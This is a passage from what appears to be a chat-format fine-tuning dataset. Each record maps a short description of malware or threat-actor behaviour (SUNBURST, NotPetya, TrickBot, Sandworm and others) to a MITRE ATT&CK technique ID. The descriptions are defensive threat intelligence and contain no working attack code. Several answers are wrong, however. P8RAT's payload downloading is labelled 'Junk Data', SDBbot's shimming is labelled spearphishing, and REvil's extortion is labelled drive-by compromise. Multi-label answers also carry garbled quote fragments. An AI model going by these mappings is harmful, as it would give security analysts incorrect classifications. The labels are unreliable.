                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation CuckooBees, the threat actors enabled HTTP and HTTPS listeners."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RATANKBA uses HTTP/HTTPS for command and control communication."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BadPatch uses SMTP for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.003 - Mail Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "P.A.S. Webshell can display the /etc/passwd file on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The stylecs.aspx webshell provides fairly significant functionality, as its developer wrote this webshell in JScript that ultimately runs any supplied JScript code provided to it within the HTTP request.."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sandworm Team conducted technical reconnaissance of the Parliament of Georgia's official internet domain prior to its 2019 attack."
            },
            {
                "role": "assistant",
                "content": "T1590.001 - Domain Properties"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SMOKEDHAM has been delivered via malicious links in phishing emails."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sliver can use standard encoding techniques like gzip and hex to ASCII to encode the C2 communication payload."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SUNBURST attempted to disable software security services following checks against a FNV-1a + XOR hashed hardcoded blocklist."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The main purpose of P8RAT is downloading and executing payloads (consisting of PE and shellcode) from its C2 server"
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "STOLEN INFO’ message – bot message to C2 with stolen information like passwords, accounts, emails, etc. Stolen information is RC4 encrypted and Base64 encoded. The key for the RC4 encryption is generated in a different way and based on the infected system ID (aka Bot ID) values, and not based on a static string as in the case of traffic encryption"
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding', 'T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The code obtains the external IP address via an HTTP request using to “http://checkip.dyndns.org/” and uses a regular expression to locate an IP address from the HTTP response"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol', 'T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can perform screen captures of the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Remexi collects text from the clipboard."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SslMM sends the logged-on username to its hard-coded C2."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sandworm Team used a backdoor to enumerate information about the infected system's operating system."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN5 has obtained and used a customized version of PsExec, as well as use other tools such as pwdump, SDelete, and Windows Credential Editor."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "All the scripts are deleted immediately after being executed. TeamTNT also uses the “history -c” command to clear the shell log in every script"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion', 'T1070.003 - Indicator Removal on Host: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "menuPass uses scripts to enumerate IP ranges on the victim network. menuPass has also issued the command \"net view /domain\" to a PlugX implant to gather information about remote systems on the network."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "IcedID has been executed through Word documents with malicious embedded macros."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SDBbot has the ability to inject a downloaded DLL into a newly created rundll32.exe process."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "VBScript #1 The dropped script “58d2a83f7778d5.36783181.vbs” acts as a launcher"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter', 'T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The backdoor's infrequent beaconing, traffic obfuscation, extensive encryption and use of geographically local, legitimate websites for command and control (C2) make identification of its network traffic difficult"
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "logs key strokes for configured processes and sends them back to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "contains the ftpUpload function to use the FTPManager:uploadFile method to upload files from the target system."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ajax Security Team has used Wrapper/Gholee, custom-developed malware, which downloaded additional malware to the infected system."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WhisperGate can overwrite the Master Book Record (MBR) on victim systems with a malicious 16-bit bootloader."
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": ". . MuddyWater has conducted various campaigns against entities spread throughout the U.S.A, Europe, Middle East and South Asia.. . A typical TTP employed by the group is the heavy use of scripting in their infection chains using languages like PowerShell and Visual Basic coupled with the frequent use of living-of-the-land binaries (LoLBins).. . Cisco Talos recently observed a campaign operated by MuddyWater targeting users in Turkey. This campaign consists of the use of malicious PDFs and Microsoft Office documents (maldocs) to serve as the initial infection vector. These maldocs were named in such a way as to masquerade as legitimate documents from the Turkish Health and Interior Ministries.. . Next, the malware executes a series of scripts deployed on the infected endpoint to serve as downloaders and instrumentors for additional payloads.. . We've also discovered the use of flags or tokens in attacks conducted by this threat actor in this campaign. These tokens are meant to signal a successful infection of a target by the group's malicious artifacts.. . . . "
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Micropsia searches for anti-virus software and firewall products installed on the victim’s machine using WMI."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation', 'T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "will identify Microsoft Office documents on the victim's computer."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PlugX has the ability to use DLL search order hijacking for installation on targeted systems."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HDS Deletes the file created by the HD command to reverse the effect"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Linux Rabbit sends the payload from the C2 server as an encoded URL parameter."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Tweets by second account @dookhtegan1 providing a Telegram channel with the leaked files Data Dump Contents The contents of the data dump includes various types of datasets that appear to be results from reconnaissance activity, initial compromises, and tools the OilRig operators use against target organizations"
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping', 'T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Capabilities of the NETWIRE backdoor include key logging, reverse shell, and password theft. The backdoor uses a custom encryption algorithm to encrypt data and then writes it to a file created in the ./LOGS directory"
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging', 'T1560.003 - Archive via Custom Method"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SDBbot is a new remote access Trojan (RAT) written in C++ that has been delivered by the Get2 downloader in recent TA505 campaigns. Its name is derived from the debugging log file (sdb.log.txt) and DLL name (BotDLL[.]dll) used in the initial analyzed sample. It also makes use of application shimming [1] for persistence"
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Avaddon deletes backups and shadow copies using native system tools."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is capable of reading files over the C2 channel."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DustySky searches for removable media and duplicates itself onto it."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "yty gets an output of running processes using the \"tasklist\" command."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Containers that are created during the attack are configured to bind /tmpXXXXXX directory to the root directory of the hosting server. This means every file on the server’s filesystem can be accessed and even modified, with the correct user permissions, from within the container"
            },
            {
                "role": "assistant",
                "content": "T1611 - Escape to Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DarkComet can steal data from the clipboard."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A QuasarRAT .dll file is digitally signed by a certificate from AirVPN."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OSX/Shlayer has used the \"mktemp\" utility to make random and unique filenames for payloads, such as \"export tmpDir=\"$(mktemp -d /tmp/XXXXXXXXXXXX)\"\" or \"mktemp -t Installer\"."
            },
            {
                "role": "assistant",
                "content": "T1564 - Hide Artifacts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After the malware has invoked a method named _s_is_high_time and waited on several timers to expire, it begins encrypting the (unfortunate) user’s files, by invoking a function named carve_target. It then generates a list of files to encrypt, by invoking the get_targets function, passing in the is_file_target as a filter function. This filter function filters out all files, except those that match certain file extensions. The encrypted list of extensions is hard-coded at address 000000010001299E within the malware. In part one of this blog post series, we decrypted all the embedded string, thus can readily examine the decrypted list"
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "hollows out a newly created process RegASM.exe and injects its payload into the hollowed process."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Packet::getData decrypts the received payload and Converter::outString descrambles the result"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has a command to get the victim's domain and NetBIOS name."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Carbanak installs VNC server software that executes through rundll32."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The analyzed sample of NotPetya encrypts the compromised system’s files with a 128-bit Advanced Encryption Standard (AES) algorithm during runtime. The malware then writes a text file on the “C:\\” drive that includes a static Bitcoin wallet location as well as unique personal installation key intended for the victim to use when making the ransom payment and the user’s Bitcoin wallet ID. NotPetya modifies the master boot record (MBR) to enable encryption of the master file table (MFT) and the original MBR, and then reboots the system. Based on the encryption methods used, it appears unlikely that the files could be restored, even if the attacker received the victim’s unique key and Bitcoin wallet ID"
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Carberp has exploited multiple Windows vulnerabilities (CVE-2010-2743, CVE-2010-3338, CVE-2010-4398, CVE-2008-1084) and a .NET Runtime Optimization vulnerability for privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FruitFly has the ability to list processes on the system."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kinsing has used crontab to download and run shell scripts every minute to ensure persistence."
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TrickBot searches the system for all of the following file extensions: .avi, .mov, .mkv, .mpeg, .mpeg4, .mp4, .mp3, .wav, .ogg, .jpeg, .jpg, .png, .bmp, .gif, .tiff, .ico, .xlsx, and .zip. It can also obtain browsing history, cookies, and plug-in information."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MirageFox has a function for decrypting data containing C2 configuration information."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kessel can create a reverse shell between the infected host and a specified system."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "REvil reached its pinnacle of success in the first half of 2021, compromising thousands of companies in a Kaseya MSP supply-chain attack, demanding a $50 million payment from computer maker Acer, and extorting Apple using stolen blueprints of non-yet-released devices."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Malware', 'T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has a tool that exfiltrates data over the C2 channel."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hook module structure After decrypting the strings, it became clear that the Linux Hook main module communicated with the same CnC server as other Windows modules:  The CNC’s IP address in the Linux module This Linux module can process the following commands, some of which are similar to the Windows version:    die  delete all BlackEnergy2 files and system traces   kill  delete all BlackEnergy2 files and system traces and reboot   lexec  launch a command using bin/sh   rexec  download and launch file using ‘fork/exec’   update  rewrite self file   migrate  update the CnC server    Windows Plugins After the disclosure of an unusual CnC server that pushed Linux and the new Windows plugins we paid greater attention to new BE2 samples and associated CnCs"
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API', 'T1070.004 - Indicator Removal on Host: File Deletion', 'T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly created accounts that appeared to be tailored to each individual staging target."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The following screenshot shows the command execution functionality in action:            Figure 4: Command Execution     The paramString parameter shown in the above screenshot can be any command received from C&C"
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture', 'T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "looks for specific files and file types."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Daserf leverages Mimikatz and Windows Credential Editor to steal credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Clop can enumerate all processes on the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OceanSalt can extract drive information from the endpoint and search files on the system."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KOCTOPUS will perform UAC bypass either through fodhelper.exe or eventvwr.exe."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "encapsulates traffic in multiple layers of encryption."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 1: Contents of the Email A review of the email header data from the spear phishing messages showed that the threat actors sent the emails using the same infrastructure they have used in the past"
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This module intercepts HWP documents on an infected computer. The HWP file format is similar to Microsoft Word documents, but supported by Hangul, a South Korean word processing application from the Hancom Office bundle. This malware module works independently of the others and maintains its own Bulgarian e-mail account. The account is hardcoded in the module along with the master’s e-mail to which it sends intercepted documents. It is interesting that the module does not search for all the HWP files on infected computer, but reacts only to those that are opened by the user and steals them. This behavior is very unusual for a document-stealing component and we do not see it in other malicious toolkits"
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MobileOrder has a command to upload information about all running processes to its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ferocious can use \"GET.WORKSPACE\" in Microsoft Excel to determine the OS version of the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
